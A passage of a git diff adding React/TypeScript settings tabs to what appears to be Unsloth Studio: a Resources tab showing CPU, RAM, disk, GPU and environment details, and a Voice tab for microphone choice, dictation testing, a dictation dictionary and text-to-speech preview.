+            usageTextClass(safePercent),
+          )}
+        >
+          {formatPercent(safePercent)}
+        </span>
+      </div>
+      <div className="min-w-0">
+        <div className="truncate font-mono text-sm tabular-nums text-foreground">
+          {value}
+        </div>
+        <div className="mt-0.5 truncate text-xs text-muted-foreground">
+          {detail}
+        </div>
+      </div>
+      <Progress
+        value={safePercent}
+        aria-label={label}
+        className="h-1.5 rounded-full bg-muted"
+        indicatorClassName={usageIndicatorClass(safePercent)}
+      />
+    </div>
+  );
+}
+
+function InfoRow({
+  label,
+  value,
+  detail,
+}: {
+  label: string;
+  value: string;
+  detail?: string;
+}) {
+  return (
+    <div className="flex min-w-0 items-center justify-between gap-4 py-2.5">
+      <span className="min-w-0 truncate text-sm font-medium text-foreground">
+        {label}
+      </span>
+      <span
+        title={detail ?? value}
+        className="min-w-0 max-w-[60%] truncate text-right font-mono text-xs tabular-nums text-muted-foreground"
+      >
+        {detail ? `${value} (${detail})` : value}
+      </span>
+    </div>
+  );
+}
+
+function deviceOrdinal(device: GpuDevice): number | undefined {
+  return device.visible_ordinal ?? device.index;
+}
+
+export function ResourcesTab() {
+  const t = useT();
+  const [liveUpdates, setLiveUpdates] = useState(true);
+  const { isOpen, setIsOpen } = useMonitorOverlayStore();
+  const systemInfo = useSystemInfo({
+    enabled: liveUpdates,
+    pollMs: liveUpdates ? POLL_MS : undefined,
+  });
+  const [modelsFolder, setModelsFolder] = useState<ModelsFolder | null>(null);
+  const [modelsFolderLoaded, setModelsFolderLoaded] = useState(false);
+
+  useEffect(() => {
+    let cancelled = false;
+    void loadModelsFolder()
+      .then((folder) => {
+        if (cancelled) return;
+        setModelsFolder(folder);
+        setModelsFolderLoaded(true);
+      })
+      .catch(() => {
+        if (cancelled) return;
+        setModelsFolderLoaded(true);
+      });
+    return () => {
+      cancelled = true;
+    };
+  }, []);
+
+  const metrics = useMemo(() => {
+    const devices = systemInfo.gpu?.devices ?? [];
+    const ramTotal = systemInfo.memory?.total_gb ?? 0;
+    const ramAvailable = systemInfo.memory?.available_gb ?? 0;
+    const ramUsed = Math.max(0, ramTotal - ramAvailable);
+    const diskTotal = systemInfo.disk?.total_gb ?? 0;
+    const diskFree = systemInfo.disk?.free_gb ?? 0;
+    const diskUsed = Math.max(0, diskTotal - diskFree);
+    const vramTotal = devices.reduce(
+      (sum, device) => sum + (device.memory_total_gb ?? 0),
+      0,
+    );
+    const vramUsed = devices.reduce(
+      (sum, device) => sum + (device.vram_used_gb ?? 0),
+      0,
+    );
+    const vramFree = devices.reduce(
+      (sum, device) =>
+        sum +
+        (device.vram_free_gb ??
+          Math.max(0, (device.memory_total_gb ?? 0) - (device.vram_used_gb ?? 0))),
+      0,
+    );
+    const vramPercent = vramTotal > 0 ? (vramUsed / vramTotal) * 100 : 0;
+
+    return {
+      devices,
+      ramTotal,
+      ramUsed,
+      diskTotal,
+      diskFree,
+      diskUsed,
+      vramTotal,
+      vramUsed,
+      vramFree,
+      vramPercent,
+    };
+  }, [systemInfo]);
+
+  const handleModelsFolder = async () => {
+    const folder = modelsFolder;
+    if (!folder) return;
+    if (isTauri) {
+      try {
+        await openModelsDir(folder.path);
+      } catch (error) {
+        toast.error(t("settings.resources.storage.openError"), {
+          description: error instanceof Error ? error.message : undefined,
+        });
+      }
+      return;
+    }
+    if (await copyToClipboard(folder.path)) {
+      toast.success(t("settings.resources.storage.copied"));
+    } else {
+      toast.error(t("settings.resources.storage.copyError"));
+    }
+  };
+
+  const cpuCoresLabel =
+    systemInfo.cpu?.logical_count && systemInfo.cpu?.physical_count
+      ? t("settings.resources.liveMonitor.cpuCores", {
+          logical: systemInfo.cpu.logical_count,
+          physical: systemInfo.cpu.physical_count,
+        })
+      : t("settings.resources.environment.unknown");
+  const cpuFrequencyLabel = formatFrequency(systemInfo.cpu?.frequency_mhz);
+  const hasGpu =
+    (systemInfo.gpu?.available ?? false) && metrics.devices.length > 0;
+  const backendLabel = (
+    systemInfo.gpu?.backend ?? systemInfo.device_backend ?? "cpu"
+  ).toUpperCase();
+  const modelsFolderPath = modelsFolder
+    ? modelsFolder.path
+    : modelsFolderLoaded
+      ? t("settings.resources.environment.unknown")
+      : t("common.loading");
+
+  return (
+    <div className="flex flex-col gap-6">
+      <header className="flex flex-wrap items-start justify-between gap-3">
+        <div className="flex min-w-0 flex-col gap-1">
+          <h1 className="text-xl font-semibold font-heading">
+            {t("settings.resources.title")}
+          </h1>
+          <p className="text-xs text-muted-foreground">
+            {t("settings.resources.description")}
+          </p>
+        </div>
+        <div className="flex items-center gap-3">
+          <Button
+            variant={isOpen ? "secondary" : "outline"}
+            size="sm"
+            className="gap-1.5 h-8 text-xs rounded-full px-3"
+            onClick={() => setIsOpen(!isOpen)}
+          >
+            <LayersIcon className="size-3.5" />
+            {isOpen
+              ? t("settings.resources.disableOverlay")
+              : t("settings.resources.floatingWindow")}
+          </Button>
+
+          <div className="flex shrink-0 items-center gap-2 rounded-full border border-border/60 px-2.5 py-1.5 text-xs font-medium text-foreground">
+            <span>{t("settings.resources.liveUpdates")}</span>
+            <Switch
+              aria-label={t("settings.resources.liveUpdates")}
+              checked={liveUpdates}
+              onCheckedChange={setLiveUpdates}
+            />
+          </div>
+        </div>
+      </header>
+
+      <SettingsSection title={t("settings.resources.liveMonitor.title")}>
+        <div className="grid gap-2 py-3 sm:grid-cols-2">
+          <MetricTile
+            label={t("settings.resources.liveMonitor.cpu")}
+            value={cpuFrequencyLabel ?? cpuCoresLabel}
+            detail={
+              cpuFrequencyLabel
+                ? cpuCoresLabel
+                : t("settings.resources.liveMonitor.currentLoad")
+            }
+            percent={systemInfo.cpu?.usage_percent ?? 0}
+          />
+          <MetricTile
+            label={t("settings.resources.liveMonitor.ram")}
+            value={`${formatGiB(metrics.ramUsed)} / ${formatGiB(metrics.ramTotal)}`}
+            detail={t("settings.resources.liveMonitor.free", {
+              value: formatGiB(systemInfo.memory?.available_gb),
+            })}
+            percent={systemInfo.memory?.percent_used ?? 0}
+          />
+          <MetricTile
+            label={t("settings.resources.liveMonitor.disk")}
+            value={`${formatGb(metrics.diskUsed)} / ${formatGb(metrics.diskTotal)}`}
+            detail={t("settings.resources.liveMonitor.free", {
+              value: formatGb(metrics.diskFree),
+            })}
+            percent={systemInfo.disk?.percent_used ?? 0}
+          />
+          <MetricTile
+            label={t("settings.resources.liveMonitor.vram")}
+            value={
+              hasGpu
+                ? `${formatGiB(metrics.vramUsed)} / ${formatGiB(metrics.vramTotal)}`
+                : t("settings.resources.liveMonitor.noGpu")
+            }
+            detail={
+              hasGpu
+                ? t("settings.resources.liveMonitor.free", {
+                    value: formatGiB(metrics.vramFree),
+                  })
+                : backendLabel
+            }
+            percent={metrics.vramPercent}
+          />
+        </div>
+      </SettingsSection>
+
+      <SettingsSection title={t("settings.resources.gpu.title")}>
+        {hasGpu ? (
+          metrics.devices.map((device, index) => {
+            const ordinal = deviceOrdinal(device);
+            const total = device.memory_total_gb ?? 0;
+            const used = device.vram_used_gb ?? 0;
+            const free = device.vram_free_gb ?? Math.max(0, total - used);
+            const percent =
+              device.vram_utilization_pct ??
+              (total > 0 ? (used / total) * 100 : null);
+            const safePercent = clampPercent(percent);
+            return (
+              <div
+                key={`${device.index ?? index}-${device.name ?? "gpu"}`}
+                className="flex min-w-0 flex-col gap-2 py-3"
+              >
+                <div className="flex min-w-0 items-start justify-between gap-4">
+                  <div className="min-w-0 flex-1">
+                    <div className="truncate text-sm font-medium text-foreground">
+                      {device.name ??
+                        t("settings.resources.gpu.unknownDevice")}
+                    </div>
+                    <div className="mt-0.5 truncate text-xs text-muted-foreground">
+                      {ordinal === undefined
+                        ? backendLabel
+                        : `${t("settings.resources.gpu.deviceWithIndex", {
+                            index: ordinal,
+                          })}, ${backendLabel}`}
+                    </div>
+                  </div>
+                  <div className="shrink-0 font-mono text-xs tabular-nums text-muted-foreground">
+                    <span>
+                      {formatPercent(safePercent)}{" "}
+                      {t("settings.resources.gpu.vramUtilization")}
+                    </span>
+                  </div>
+                </div>
+                <div className="grid gap-1 text-xs text-muted-foreground sm:grid-cols-3 sm:gap-2">
+                  <span className="min-w-0 truncate font-mono tabular-nums">
+                    {t("settings.resources.gpu.used", {
+                      value: formatGiB(used),
+                    })}
+                  </span>
+                  <span className="min-w-0 truncate font-mono tabular-nums sm:text-center">
+                    {t("settings.resources.gpu.free", {
+                      value: formatGiB(free),
+                    })}
+                  </span>
+                  <span className="min-w-0 truncate font-mono tabular-nums sm:text-right">
+                    {t("settings.resources.gpu.total", {
+                      value: formatGiB(total),
+                    })}
+                  </span>
+                </div>
+                <Progress
+                  value={safePercent}
+                  aria-label={device.name ?? "GPU"}
+                  className="h-1.5 rounded-full bg-muted"
+                  indicatorClassName={usageIndicatorClass(safePercent)}
+                />
+              </div>
+            );
+          })
+        ) : (
+          <div className="py-3 text-sm text-muted-foreground">
+            {t("settings.resources.gpu.noGpu")}
+          </div>
+        )}
+      </SettingsSection>
+
+      <SettingsSection title={t("settings.resources.storage.title")}>
+        <InfoRow
+          label={t("settings.resources.storage.systemDisk")}
+          value={t("settings.resources.storage.diskUsage", {
+            used: formatGb(metrics.diskUsed),
+            total: formatGb(metrics.diskTotal),
+          })}
+          detail={t("settings.resources.storage.diskFree", {
+            free: formatGb(metrics.diskFree),
+          })}
+        />
+        <SettingsRow
+          label={t("settings.resources.storage.modelsFolder")}
+          description={t("settings.resources.storage.modelsFolderDescription")}
+          className="max-sm:flex-col max-sm:items-start max-sm:gap-2"
+        >
+          <div className="flex min-w-0 items-center gap-2 max-sm:max-w-[calc(100vw-5rem)]">
+            <span
+              title={modelsFolder?.path}
+              className="min-w-0 max-w-[280px] truncate font-mono text-xs text-muted-foreground max-sm:max-w-[180px]"
+            >
+              {modelsFolderPath}
+            </span>
+            <Button
+              variant="outline"
+              size="sm"
+              disabled={!modelsFolder}
+              onClick={() => void handleModelsFolder()}
+            >
+              {isTauri
+                ? t("settings.resources.storage.openAction")
+                : t("settings.resources.storage.copyAction")}
+            </Button>
+          </div>
+        </SettingsRow>
+      </SettingsSection>
+
+      <SettingsSection title={t("settings.resources.environment.title")}>
+        <InfoRow
+          label={t("settings.resources.environment.backend")}
+          value={backendLabel}
+        />
+        <InfoRow
+          label={t("settings.resources.environment.python")}
+          value={systemInfo.python_version}
+        />
+        <InfoRow
+          label={t("settings.resources.environment.torch")}
+          value={
+            systemInfo.ml_packages.torch ??
+            t("settings.resources.environment.notInstalled")
+          }
+        />
+        <InfoRow
+          label={t("settings.resources.environment.transformers")}
+          value={
+            systemInfo.ml_packages.transformers ??
+            t("settings.resources.environment.notInstalled")
+          }
+        />
+        <InfoRow
+          label={t("settings.resources.environment.uptime")}
+          value={formatUptime(systemInfo.uptime_seconds)}
+        />
+        <InfoRow
+          label={t("settings.resources.environment.processMemory")}
+          value={formatMb(systemInfo.memory?.process_used_mb)}
+        />
+      </SettingsSection>
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/settings/tabs/voice-tab.tsx b/studio/frontend/src/features/settings/tabs/voice-tab.tsx
new file mode 100644
index 0000000000..4b86105926
--- /dev/null
+++ b/studio/frontend/src/features/settings/tabs/voice-tab.tsx
@@ -0,0 +1,882 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Button } from "@/components/ui/button";
+import { Input } from "@/components/ui/input";
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from "@/components/ui/select";
+import { Slider } from "@/components/ui/slider";
+import { Switch } from "@/components/ui/switch";
+import {
+  StudioSpeechSynthesisAdapter,
+  createConfiguredUtterance,
+  curateSystemVoices,
+  generateStudioTtsAudio,
+} from "@/features/chat/adapters/studio-speech-synthesis-adapter";
+import {
+  StudioWebSpeechDictationAdapter,
+  describeSpeechError,
+  isMissingDeviceError,
+} from "@/features/chat/adapters/studio-web-speech-dictation-adapter";
+import { useT } from "@/i18n";
+import { toast } from "@/lib/toast";
+import { MicIcon } from "@/lib/mic-icon";
+import { copyToClipboard } from "@/lib/copy-to-clipboard";
+import {
+  Copy01Icon,
+  Delete02Icon,
+  PlusSignIcon,
+  VolumeHighIcon,
+} from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { SquareIcon } from "lucide-react";
+import { useCallback, useEffect, useMemo, useRef, useState } from "react";
+import { SettingsRow } from "../components/settings-row";
+import { SettingsSection } from "../components/settings-section";
+import {
+  applyDictationDictionary,
+  recordRecentDictation,
+  resolveDictationLanguage,
+  useVoiceSettingsStore,
+} from "../stores/voice-settings-store";
+
+// Languages offered for browser speech recognition.
+const DICTATION_LANGUAGES: { value: string; label: string }[] = [
+  { value: "auto", label: "" }, // label rendered via i18n
+  { value: "en-US", label: "English (US)" },
+  { value: "en-GB", label: "English (UK)" },
+  { value: "zh-CN", label: "中文 (简体)" },
+  { value: "ja-JP", label: "日本語" },
+  { value: "ko-KR", label: "한국어" },
+  { value: "es-ES", label: "Español" },
+  { value: "fr-FR", label: "Français" },
+  { value: "de-DE", label: "Deutsch" },
+  { value: "it-IT", label: "Italiano" },
+  { value: "pt-BR", label: "Português (Brasil)" },
+  { value: "ru-RU", label: "Русский" },
+  { value: "hi-IN", label: "हिन्दी" },
+  { value: "ar-SA", label: "العربية" },
+];
+
+const TTS_PREVIEW_TEXT =
+  "Hello from Unsloth Studio! This is a preview of the selected voice.";
+
+function useAudioInputDevices() {
+  const t = useT();
+  const [devices, setDevices] = useState<MediaDeviceInfo[]>([]);
+  const [hasLabels, setHasLabels] = useState(false);
+
+  const refresh = useCallback(async () => {
+    if (!navigator.mediaDevices?.enumerateDevices) return;
+    try {
+      const all = await navigator.mediaDevices.enumerateDevices();
+      const inputs = all.filter((d) => d.kind === "audioinput");
+      setDevices(inputs);
+      setHasLabels(inputs.some((d) => d.label));
+    } catch {
+      // Enumeration can fail in insecure contexts; leave the list empty.
+    }
+  }, []);
+
+  useEffect(() => {
+    void refresh();
+    const media = navigator.mediaDevices;
+    if (!media?.addEventListener) return;
+    media.addEventListener("devicechange", refresh);
+    return () => media.removeEventListener("devicechange", refresh);
+  }, [refresh]);
+
+  // Labels are hidden until mic permission; open a short stream to get them.
+  const requestAccess = useCallback(async () => {
+    // Insecure contexts (plain http on a LAN address) have no mediaDevices.
+    if (!navigator.mediaDevices?.getUserMedia) {
+      toast.error(t("settings.voice.dictation.micAccessUnsupported"));
+      return;
+    }
+    try {
+      const stream = await navigator.mediaDevices.getUserMedia({
+        audio: true,
+      });
+      stream.getTracks().forEach((track) => track.stop());
+      await refresh();
+    } catch {
+      toast.error(t("settings.voice.dictation.micAccessBlocked"));
+    }
+  }, [refresh, t]);
+
+  return { devices, hasLabels, requestAccess };
+}
+
+function useSystemVoices() {
+  const [voices, setVoices] = useState<SpeechSynthesisVoice[]>([]);
+
+  useEffect(() => {
+    if (typeof window === "undefined" || !window.speechSynthesis) return;
+    const synth = window.speechSynthesis;
+    const load = () => setVoices(synth.getVoices());
+    load();
+    synth.addEventListener?.("voiceschanged", load);
+    return () => synth.removeEventListener?.("voiceschanged", load);
+  }, []);
+
+  return voices;
+}
+
+/** Inline mic test: runs speech recognition and shows the live transcript. */
+function DictationTest() {
+  const t = useT();
+  const [testing, setTesting] = useState(false);
+  const [transcript, setTranscript] = useState("");
+  const [interim, setInterim] = useState("");
+  const recognitionRef = useRef<SpeechRecognition | null>(null);
+  const streamRef = useRef<MediaStream | null>(null);
+  // Guards the getUserMedia await so a mic opened after unmount is released.
+  const disposedRef = useRef(false);
+  // Mirrors the transcript state so onend can record it without stale closures.
+  const transcriptRef = useRef("");
+
+  // Single cleanup path: the browser can end recognition on its own (silence
+  // timeout, service disconnect), so onend must release the mic and save the
+  // transcript, not just the Stop button.
+  const finalize = useCallback(() => {
+    streamRef.current?.getTracks().forEach((track) => track.stop());
+    streamRef.current = null;
+    recognitionRef.current = null;
+    if (transcriptRef.current) {
+      recordRecentDictation(transcriptRef.current);
+      transcriptRef.current = "";
+    }
+    setTesting(false);
+    setInterim("");
+  }, []);
+
+  const stop = useCallback(() => {
+    const recognition = recognitionRef.current;
+    if (recognition) {
+      // onend fires next and runs finalize()
+      recognition.stop();
+    } else {
+      finalize();
+    }
+  }, [finalize]);
+
+  useEffect(() => {
+    disposedRef.current = false;
+    return () => {
+      disposedRef.current = true;
+      recognitionRef.current?.abort();
+      streamRef.current?.getTracks().forEach((track) => track.stop());
+      streamRef.current = null;
+    };
+  }, []);
+
+  // Set before the getUserMedia await so a double click or a slow
+  // permission prompt cannot start a second recognizer over the first.
+  const startingRef = useRef(false);
+
+  const start = useCallback(async () => {
+    const SpeechRecognitionAPI =
+      window.SpeechRecognition ?? window.webkitSpeechRecognition;
+    if (!SpeechRecognitionAPI) return;
+    if (startingRef.current || recognitionRef.current) return;
+    startingRef.current = true;
+    setTranscript("");
+    setInterim("");
+    transcriptRef.current = "";
+
+    const { micDeviceId } = useVoiceSettingsStore.getState();
+    let audioTrack: MediaStreamTrack | undefined;
+    try {
+      let stream: MediaStream;
+      try {
+        stream = await navigator.mediaDevices.getUserMedia({
+          audio:
+            micDeviceId && micDeviceId !== "default"
+              ? { deviceId: { exact: micDeviceId } }
+              : true,
+        });
+      } catch (error) {
+        // Saved mic may be unplugged; fall back to the default device.
+        if (micDeviceId !== "default" && isMissingDeviceError(error)) {
+          stream = await navigator.mediaDevices.getUserMedia({ audio: true });
+        } else {
+          throw error;
+        }
+      }
+      if (disposedRef.current) {
+        stream.getTracks().forEach((track) => track.stop());
+        startingRef.current = false;
+        return;
+      }
+      streamRef.current = stream;
+      audioTrack = stream.getAudioTracks()[0];
+    } catch {
+      startingRef.current = false;
+      toast.error(t("settings.voice.dictation.micOpenFailed"));
+      return;
+    }
+
+    const recognition = new SpeechRecognitionAPI();
+    recognition.lang = resolveDictationLanguage();
+    recognition.continuous = true;
+    recognition.interimResults = true;
+    recognition.onresult = (event: SpeechRecognitionEvent) => {
+      let interimText = "";
+      for (let i = event.resultIndex; i < event.results.length; i++) {
+        const result = event.results[i];
+        const text = result?.[0]?.transcript ?? "";
+        if (result?.isFinal) {
+          const corrected = applyDictationDictionary(text.trim());
+          setTranscript((prev) => {
+            const next = prev ? `${prev} ${corrected}` : corrected;
+            transcriptRef.current = next;
+            return next;
+          });
+        } else {
+          interimText += text;
+        }
+      }
+      setInterim(interimText);
+    };
+    recognition.onerror = (event) => {
+      // onend follows and runs finalize(); surface non-abort failures here.
+      const errorEvent = event as SpeechRecognitionErrorEvent;
+      if (errorEvent.error !== "aborted") {
+        toast.error(describeSpeechError(errorEvent.error, errorEvent.message));
+      }
+    };
+    recognition.onend = () => finalize();
+    try {
+      if (audioTrack) {
+        try {
+          recognition.start(audioTrack);
+        } catch {
+          // Engine has no start(track) overload: it will capture from the
+          // default device, so release the selected-device stream.
+          streamRef.current?.getTracks().forEach((track) => track.stop());
+          streamRef.current = null;
+          recognition.start();
+        }
+      } else {
+        recognition.start();
+      }
+    } catch {
+      startingRef.current = false;
+      finalize();
+      return;
+    }
+    recognitionRef.current = recognition;
+    startingRef.current = false;
+    setTesting(true);
+  }, [finalize, t]);
+
+  const finishedTest = !testing && transcript;
+
+  return (
+    <div className="flex flex-col gap-2">
+      <SettingsRow
+        label={t("settings.voice.dictation.testLabel")}
+        description={t("settings.voice.dictation.testDescription")}
+      >
+        <Button
+          variant="outline"
+          size="sm"
+          onClick={() => {
+            if (testing) {
+              stop();
+            } else {
+              void start();
+            }
+          }}
+        >
+          {testing ? (
+            <>
+              <SquareIcon className="mr-1.5 size-3 animate-pulse fill-current text-destructive" />
+              {t("settings.voice.dictation.stopTest")}
+            </>
+          ) : (
+            <>
+              <MicIcon className="mr-1.5 size-3.5" />
+              {t("settings.voice.dictation.startTest")}
+            </>
+          )}
+        </Button>
+      </SettingsRow>
+      {(testing || transcript) && (
+        <div className="rounded-lg border border-border/60 bg-muted/30 px-3 py-2 text-sm">
+          {transcript || interim ? (
+            <>
+              <span className="text-foreground">{transcript}</span>
+              {interim ? (
+                <span className="text-muted-foreground"> {interim}</span>
+              ) : null}
+            </>
+          ) : (
+            <span className="text-muted-foreground">
+              {testing ? t("settings.voice.dictation.listening") : ""}
+            </span>
+          )}
+          {finishedTest ? (
+            <div className="mt-1 text-xs text-muted-foreground">
+              {t("settings.voice.dictation.testSaved")}
+            </div>
+          ) : null}
+        </div>
+      )}
+    </div>
+  );
+}
+
+export function VoiceTab() {
+  const t = useT();
+  const micDeviceId = useVoiceSettingsStore((s) => s.micDeviceId);
+  const setMicDeviceId = useVoiceSettingsStore((s) => s.setMicDeviceId);
+  const dictationLanguage = useVoiceSettingsStore((s) => s.dictationLanguage);
+  const setDictationLanguage = useVoiceSettingsStore(
+    (s) => s.setDictationLanguage,
+  );
+  const dictionary = useVoiceSettingsStore((s) => s.dictionary);
+  const addDictionaryEntry = useVoiceSettingsStore((s) => s.addDictionaryEntry);
+  const updateDictionaryEntry = useVoiceSettingsStore(
+    (s) => s.updateDictionaryEntry,
+  );
+  const commitDictionaryEntry = useVoiceSettingsStore(
+    (s) => s.commitDictionaryEntry,
+  );
+  const removeDictionaryEntry = useVoiceSettingsStore(
+    (s) => s.removeDictionaryEntry,
+  );
+  const recentDictations = useVoiceSettingsStore((s) => s.recentDictations);
+  const clearRecentDictations = useVoiceSettingsStore(
+    (s) => s.clearRecentDictations,
+  );
+  const ttsEnabled = useVoiceSettingsStore((s) => s.ttsEnabled);
+  const setTtsEnabled = useVoiceSettingsStore((s) => s.setTtsEnabled);
+  const ttsEngine = useVoiceSettingsStore((s) => s.ttsEngine);
+  const setTtsEngine = useVoiceSettingsStore((s) => s.setTtsEngine);
+  const ttsVoiceURI = useVoiceSettingsStore((s) => s.ttsVoiceURI);
+  const setTtsVoiceURI = useVoiceSettingsStore((s) => s.setTtsVoiceURI);
+  const ttsRate = useVoiceSettingsStore((s) => s.ttsRate);
+  const setTtsRate = useVoiceSettingsStore((s) => s.setTtsRate);
+  const ttsPitch = useVoiceSettingsStore((s) => s.ttsPitch);
+  const setTtsPitch = useVoiceSettingsStore((s) => s.setTtsPitch);
+  const ttsVolume = useVoiceSettingsStore((s) => s.ttsVolume);
+  const setTtsVolume = useVoiceSettingsStore((s) => s.setTtsVolume);
+
+  const { devices, hasLabels, requestAccess } = useAudioInputDevices();
+  const rawVoices = useSystemVoices();
+  const voices = useMemo(
+    () => curateSystemVoices(rawVoices, ttsVoiceURI),
+    // dictationLanguage feeds the curation language filter.
+    [rawVoices, ttsVoiceURI, dictationLanguage],
+  );
+  const [newEntry, setNewEntry] = useState("");
+  const [previewing, setPreviewing] = useState(false);
+
+  const dictationSupported = StudioWebSpeechDictationAdapter.isSupported();
+  const ttsSupported = StudioSpeechSynthesisAdapter.isSupported();
+  const systemTtsSupported =
+    StudioSpeechSynthesisAdapter.systemVoicesSupported();
+  const effectiveTtsEngine = systemTtsSupported ? ttsEngine : "studio";
+
+  // Keep an item for an unplugged saved mic so the value stays visible.
+  const knownMic = devices.some((d) => d.deviceId === micDeviceId);
+
+  const handleAddEntry = () => {
+    const trimmed = newEntry.trim();
+    if (!trimmed) return;
+    addDictionaryEntry(trimmed);
+    setNewEntry("");
+  };
+
+  const previewAudioRef = useRef<HTMLAudioElement | null>(null);
+  const previewAbortRef = useRef<AbortController | null>(null);
+  // Mirrors `previewing` so unmount cleanup can tell whether this tab owns
+  // the current speechSynthesis utterance; read-aloud shares the global
+  // synthesizer and must not be cancelled by merely closing settings.
+  const previewingRef = useRef(false);
+  // Only a system-voice preview owns the shared speechSynthesis channel; a
+  // studio (Audio) preview must not cancel an unrelated chat read-aloud.
+  const ownsSystemPreviewRef = useRef(false);
+  const markPreviewing = useCallback((value: boolean) => {
+    previewingRef.current = value;
+    setPreviewing(value);
+  }, []);
+
+  const releasePreviewAudio = useCallback(() => {
+    if (previewAudioRef.current) {
+      previewAudioRef.current.pause();
+      previewAudioRef.current.src = "";
+      previewAudioRef.current = null;
+    }
+  }, []);
+
+  const stopPreview = useCallback(() => {
+    if (!previewingRef.current) return;
+    if (ownsSystemPreviewRef.current) {
+      window.speechSynthesis?.cancel();
+      ownsSystemPreviewRef.current = false;
+    }
+    previewAbortRef.current?.abort();
+    previewAbortRef.current = null;
+    releasePreviewAudio();
+    markPreviewing(false);
+  }, [markPreviewing, releasePreviewAudio]);
+
+  const previewTts = async () => {
+    if (!ttsSupported) return;
+    // Ref, not state: a double-click before rerender still reads previewing
+    // as false and would start a second request that orphans the first.
+    if (previewingRef.current) {
+      stopPreview();
+      return;
+    }
+    if (effectiveTtsEngine === "studio") {
+      const controller = new AbortController();
+      previewAbortRef.current = controller;
+      ownsSystemPreviewRef.current = false;
+      markPreviewing(true);
+      try {
+        const url = await generateStudioTtsAudio(
+          TTS_PREVIEW_TEXT,
+          controller.signal,
+        );
+        if (controller.signal.aborted) return;
+        const audio = new Audio(url);
+        audio.playbackRate = ttsRate;
+        audio.volume = ttsVolume;
+        // Some browsers reset playbackRate to 1 once the source loads; reapply
+        // it on loadedmetadata so the speed setting reliably takes effect.
+        audio.addEventListener("loadedmetadata", () => {
+          audio.playbackRate = ttsRate;
+        });
+        audio.addEventListener("ended", () => {
+          releasePreviewAudio();
+          markPreviewing(false);
+        });
+        audio.addEventListener("error", () => {
+          releasePreviewAudio();
+          markPreviewing(false);
+          // Surface playback failures like the catch below, instead of just
+          // resetting the button with no explanation.
+          toast.error("TTS preview failed");
+        });
+        previewAudioRef.current = audio;
+        await audio.play();
+      } catch (error) {
+        if (!controller.signal.aborted) {
+          toast.error(
+            error instanceof Error ? error.message : "TTS preview failed",
+          );
+        }
+        releasePreviewAudio();
+        markPreviewing(false);
+      }
+      return;
+    }
+    if (!StudioSpeechSynthesisAdapter.systemVoicesSupported()) {
+      toast.error(t("settings.voice.readAloud.notSupported"));
+      return;
+    }
+    const utterance = createConfiguredUtterance(TTS_PREVIEW_TEXT);
+    utterance.addEventListener("end", () => {
+      ownsSystemPreviewRef.current = false;
+      markPreviewing(false);
+    });
+    utterance.addEventListener("error", () => {
+      ownsSystemPreviewRef.current = false;
+      markPreviewing(false);
+    });
+    ownsSystemPreviewRef.current = true;
+    window.speechSynthesis.cancel();
+    window.speechSynthesis.speak(utterance);
+    markPreviewing(true);
+  };
+
+  // Stop any preview playback when the tab unmounts.
+  useEffect(() => stopPreview, [stopPreview]);
+
+  return (
+    <div className="flex flex-col gap-6">
+      <header className="flex flex-col gap-1">
+        <h1 className="text-xl font-semibold font-heading">
+          {t("settings.voice.title")}
+        </h1>
+        <p className="text-xs text-muted-foreground">
+          {t("settings.voice.description")}
+        </p>
+      </header>
+
+      <SettingsSection title={t("settings.voice.dictation.sectionTitle")}>
+        <SettingsRow
+          label={t("settings.voice.dictation.microphoneLabel")}
+          description={
+            hasLabels
+              ? micDeviceId !== "default"
+                ? t("settings.voice.dictation.microphoneFallbackHint")
+                : t("settings.voice.dictation.microphoneDescription")
+              : t("settings.voice.dictation.microphoneGrantDescription")
+          }
+        >
+          {hasLabels ? (
+            <Select value={micDeviceId} onValueChange={setMicDeviceId}>
+              <SelectTrigger aria-label="Microphone" className="w-56" size="sm">
+                <SelectValue />
+              </SelectTrigger>
+              <SelectContent>
+                <SelectItem value="default">
+                  {t("settings.voice.dictation.systemDefault")}
+                </SelectItem>
+                {devices
+                  .filter((d) => d.deviceId && d.deviceId !== "default")
+                  .map((d, i) => (
+                    <SelectItem key={d.deviceId} value={d.deviceId}>
+                      {d.label || `Microphone ${i + 1}`}
+                    </SelectItem>
+                  ))}
+                {!knownMic && micDeviceId !== "default" ? (
+                  <SelectItem value={micDeviceId}>
+                    {t("settings.voice.dictation.savedMicDisconnected")}
+                  </SelectItem>
+                ) : null}
+              </SelectContent>
+            </Select>
+          ) : (
+            <Button variant="outline" size="sm" onClick={requestAccess}>
+              <MicIcon className="mr-1.5 size-3.5" />
+              {t("settings.voice.dictation.allowMicrophone")}
+            </Button>
+          )}
+        </SettingsRow>
+
+        <SettingsRow
+          label={t("settings.voice.dictation.languageLabel")}
+          description={t("settings.voice.dictation.languageDescription")}
+        >
+          <Select
+            value={dictationLanguage}
+            onValueChange={setDictationLanguage}
+          >
+            <SelectTrigger
+              aria-label="Dictation language"
+              className="w-56"
+              size="sm"
+            >
+              <SelectValue />
+            </SelectTrigger>
+            <SelectContent>
+              {DICTATION_LANGUAGES.map(({ value, label }) => (
+                <SelectItem key={value} value={value}>
+                  {value === "auto"
+                    ? t("settings.voice.dictation.languageAuto")
+                    : label}
+                </SelectItem>
+              ))}
+            </SelectContent>
+          </Select>
+        </SettingsRow>
+
+        {dictationSupported ? (
+          <DictationTest />
+        ) : (
+          <SettingsRow
+            label={t("settings.voice.dictation.testLabel")}
+            description={t("settings.voice.dictation.notSupported")}
+          />
+        )}
+      </SettingsSection>
+
+      <SettingsSection
+        title={t("settings.voice.dictionary.sectionTitle")}
+        description={t("settings.voice.dictionary.sectionDescription")}
+      >
+        {dictionary.map((entry, index) => (
+          <div
+            // biome-ignore lint/suspicious/noArrayIndexKey: entries are editable in place
+            key={index}
+            className="flex items-center gap-2 py-1.5"
+          >
+            <Input
+              value={entry}
+              onChange={(e) => updateDictionaryEntry(index, e.target.value)}
+              // Skip the empty-row commit-splice when focus moves to this row's
+              // Remove button (keyboard Tab), so its index stays valid and its
+              // activation deletes this row instead of the next one.
+              onBlur={(e) => {
+                if (
+                  (e.relatedTarget as HTMLElement | null)?.dataset.dictRemove ===
+                  String(index)
+                ) {
+                  return;
+                }
+                commitDictionaryEntry(index);
+              }}
+              className="h-8 flex-1 text-sm"
+              aria-label={`Dictionary entry ${index + 1}`}
+            />
